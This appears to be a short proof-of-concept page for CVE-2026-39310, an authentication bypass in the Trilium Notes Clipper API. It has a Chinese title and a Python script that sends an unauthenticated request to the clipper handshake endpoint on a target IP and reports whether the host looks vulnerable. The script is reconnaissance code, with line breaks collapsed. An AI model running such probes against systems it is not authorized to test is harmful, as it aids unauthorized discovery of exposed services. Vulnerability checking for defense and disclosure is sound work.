CVE-2026-39310 Trilium Notes Clipper API认证绕过漏洞

import requests def check_trilium_vuln(target_ip): # Default port for Trilium Clipper API port = 37840 # The handshake endpoint used to identify the instance url = f"http://{target_ip}:{port}/api/clipper/handshake" try: # Send unauthenticated GET request response = requests.get(url, timeout=5) # Check if the response indicates a successful connection to Trilium # A vulnerable instance returns JSON with 'applicationName' if response.status_code == 200 and "applicationName" in response.text: print(f"[+] Target {target_ip} is vulnerable!") print(f"[+] Application Info: {response.json()}") else: print(f"[-] Target {target_ip} does not appear to be vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {target_ip}: {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.1.100" check_trilium_vuln(target)